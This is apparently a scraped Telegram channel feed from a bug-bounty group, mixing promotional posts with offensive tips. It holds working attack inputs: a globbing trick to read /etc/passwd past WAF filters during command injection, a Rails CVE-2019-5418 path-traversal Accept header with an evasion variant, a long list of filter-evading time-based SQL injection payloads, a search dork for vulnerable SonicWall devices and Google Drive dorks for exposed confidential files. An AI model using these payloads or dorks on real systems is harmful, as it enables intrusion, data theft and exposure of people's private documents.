Brut Security
14.8K subscribers
941 photos
73 videos
287 files
985 links
βœ…Queries: @wtf_brut
πŸ›ƒWhatsApp: wa.link/brutsecurity
🈴Training: brutsec.com
πŸ“¨E-mail: [email protected]
Download Telegram
❀16πŸ”₯3πŸ‘¨β€πŸ’»1
This media is not supported in your browser
VIEW IN TELEGRAM
Top 10 OffSec Certifications - Salary Wise😱
Please open Telegram to view this post
VIEW IN TELEGRAM
❀11
Testing Account Takeover Vulnerabilities.βš”οΈ
πŸ‘6❀2
⚠️Zomato IDOR leakage of Lakhs People Data - Video POC
πŸ”–https://t.iss.one/brutsecurity_poc/10
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ‘9πŸ”₯5
bounty_tips_100+.pdf
18.3 MB
πŸ—Ώ13❀1
⚠️A neat trick for bypassing WAF/filters while testing for OS command injection vulnerabilities.


Use shell globbing / wildcard expansion. Here is an example

cat /e*c/p*s*d
is equivalent to cat /etc/passwd. But how?

Before cat runs, the shell expands the glob pattern /e*c/p*s*d to match actual files and directories in the filesystem.

/e*c:
The shell interprets this as "any path starting with /e, followed by zero or more characters (*), ending with c."


/p*s*d:
This matches a path or file name starting with p, followed by zero or more characters (*), then s, then zero or more characters (*), then d

βœ…Credit- Devansh Batham
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ‘19🫑7
Google Dorking for Pentesters.pdf
1.2 MB
❀19πŸ”₯7🀝1
API Bug Bounty.pdf
4.1 MB
API Bug Bounty
❀32πŸ”₯10🫑6πŸ‘2
Reactions Please 🫠
πŸ”₯43πŸ‘8🐳6❀5πŸ—Ώ2🀝1
CVE-2025-23006: Deserialization of Untrusted Data in SonicWall SMA1000, 9.8 rating πŸ”₯

A pre-authentication deserialization of untrusted data vulnerability was detected in SMA1000 components, which could allow an attacker to execute OS commands.

Search at Netlas.io:
πŸ‘‰ Link: https://nt.ls/FLFJT
πŸ‘‰ Dork: http.headers.server:"SMA"

Vendor's advisory: https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0002
πŸ”₯5❀3πŸ‘3
β˜„οΈNew IDOR POC- https://t.iss.one/brutsecurity_poc/13
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯6
πŸ”–always examine the .js files in the source code, for this I can recommend this simple but effective tool github.com/w9w/JSA from here you can access the endpoints of critical data, the places where backup files are stored and many endpoints.
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯12πŸ‘8❀5
πŸ”–Submaker - Subdomain Wordlist Generator

⬇️https://github.com/llMNMll/Submaker
Please open Telegram to view this post
VIEW IN TELEGRAM
❀8πŸ‘3
⚠️If your target uses Rails, look for Action View CVE-2019-5418 - File Content Disclosure vuln. Although this is an old bug, it can still be found.

Intercept the request in Burp and replace the Accept header with: Accept: ../../../../../../../../../../etc/passwd{{

πŸ›If the server is deemed to be vulnerable, but a WAF is present:

../../../../../../e*c/p*s*d{{

βœ”οΈCredit- nav1n0x
Please open Telegram to view this post
VIEW IN TELEGRAM
1❀43πŸ‘15πŸ”₯8🫑4πŸ—Ώ2
timebased payloads for different dbms:
XOR(if(now()=sysdate(),sleep(7),0))XOR%23
'or sleep(7)--#
'or sleep(7)#
'or sleep(7)='#
'or sleep(7)='--
'/*F*/or/*F*/sleep(7)='
'or sleep(7)--%23
'or sleep(7)%23
'or sleep(7);%00
or sleep(7)--+-
or sleep(7)#
'/*f*/or/*f*/sleep/*f*/(7)--#
'/*f*/or/*f*/sleep/*f*/(7)#
or sleep(7)%23
'/*f*/or/*f*/sleep/*f*/(7)--%23
'/*f*/or/*f*/sleep/*f*/(7)%23
'/*f*/or/*f*/sleep/*f*/(7);%00
or/*f*/sleep/*f*/(7)--+-
or/*f*/sleep/*f*/(7)#
'XOR(if(now()=sysdate(),sleep(7),0))XOR'
'OR(if(now()=sysdate(),sleep(7),0))--#
'OR(if(now()=sysdate(),sleep(7),0))#
or/*f*/sleep/*f*/(7)%23
'OR(if(now()=sysdate(),sleep(7),0))--%23
'OR(if(now()=sysdate(),sleep(7),0))%23
'OR(if(now()=sysdate(),sleep(7),0));%00
OR(if(now()=sysdate(),sleep(7),0))--+-
OR(if(now()=sysdate(),sleep(7),0))#
OR(if(now()=sysdate(),sleep(7),0))%23
'WAITFORDELAY'0:0:7';%00
'WAITFORDELAY'0:0:7'#
'WAITFORDELAY'0:0:7'%23
'WAITFORDELAY'0:0:7';%00
WAITFORDELAY'0:0:7'#
WAITFORDELAY'0:0:7'%23
WAITFORDELAY'0:0:7'--+-
'WAITFORDELAY'0:0:7'--+-
'WAITFORDELAY'0:0:7'='
\/*F*/or/*f*/sleep(7)%23
'/*f*/OR/*f*/pg_sleep(7)#
'/*f*/OR/*f*/pg_sleep(7)%23
'/*f*/OR/*f*/pg_sleep(7);%00
/*f*/OR/*f*/pg_sleep(70)--+-
/*f*/OR/*f*/pg_sleep(70)#
/*f*/OR/*f*/pg_sleep(70)%23
'/*f*/OR/*f*/pg_sleep(7)=';%00
\)/*F*/or/*f*/sleep(7)%23
\)/*F*/or/*f*/sleep(7)%23
%E2%84%A2%27/*F*/or/*f*/sleep(7)%23
%E2%84%A2%27/*F*/or/*f*/pg_sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/pg_sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/sleep(7)--+-
%E2%84%A2\)/*F*/or/*f*/sleep(7)--+-
%E2%84%A2%27)/*F*/or/*f*/sleep(7)--+-
%E2%84%A2'/*F*/or/*f*/sleep(7)='
%E2%84%A2')/*F*/or/*f*/sleep(7)='
❀28πŸ‘13
This media is not supported in your browser
VIEW IN TELEGRAM
For Real Bruh 😭😭😭😭😭
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯15🐳2🀨2πŸ—Ώ2😁1
🌟One-Liner - Extract all URLs from the Source Code

curl "testphp.vulnweb.com" | grep -oP '(https*://|www\.)[^ ]*'


πŸ””@0x0SojalSec
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯24❀3πŸ‘3πŸ‘¨β€πŸ’»3🫑3
⚠️Google Drive Dorks
site:https://drive.google.com inurl:folder
site:https://drive.google.com inurl:open
site:https://docs.google.com inurl:d
site:https://drive.google.com "confidential"
site:https://docs.google.com inurl:d filetype:docx
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ‘9πŸ”₯7❀2